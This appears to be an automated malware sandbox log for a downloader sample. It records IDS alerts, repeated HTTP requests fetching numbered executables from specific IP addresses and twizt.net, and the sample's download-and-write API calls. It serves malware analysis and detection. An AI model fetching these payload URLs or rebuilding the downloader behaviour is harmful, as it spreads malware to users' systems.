Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49684 -> 45.93.20.18:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49645 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49682 -> 45.93.20.18:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49676 -> 45.93.20.18:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49615 -> 45.93.20.18:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49620 -> 45.93.20.18:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49587 -> 45.93.20.18:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49627 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49671 -> 91.202.233.141:80

Source: global traffic	HTTP traffic detected: GET /newtpp.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Host: twizt.net
Source: global traffic	HTTP traffic detected: GET /peinstall.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36Host: twizt.net
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /2.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /3.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /4.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /5.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /6.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /7.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /8.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /9.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /10.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /11.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /12.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18

Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 203.188.251.78
Source: unknown	TCP traffic detected without corresponding DNS query: 203.188.251.78
Source: unknown	TCP traffic detected without corresponding DNS query: 203.188.251.78
Source: unknown	TCP traffic detected without corresponding DNS query: 203.188.251.78
Source: unknown	TCP traffic detected without corresponding DNS query: 203.188.251.78
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141
Source: unknown	TCP traffic detected without corresponding DNS query: 91.202.233.141

Source: C:\Users\user\Desktop\a0RkmvhSaf.exe

Code function: 0_2_00F81120 GetTickCount,srand,ExpandEnvironmentStringsW,rand,rand,wsprintfW,wsprintfW,InternetOpenW,InternetOpenUrlW,CreateFileW,InternetReadFile,InternetReadFile,WriteFile,WriteFile,InternetReadFile,CloseHandle,wsprintfW,DeleteFileW,CloseHandle,wsprintfW,InternetCloseHandle,InternetCloseHandle,Sleep,Sleep,rand,Sleep,rand,rand,wsprintfW,URLDownloadToFileW,wsprintfW,DeleteFileW,

0_2_00F81120

Source: global traffic	HTTP traffic detected: GET /newtpp.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Host: twizt.net
Source: global traffic	HTTP traffic detected: GET /peinstall.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36Host: twizt.net
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /2.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /3.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /4.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /5.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.93.20.18
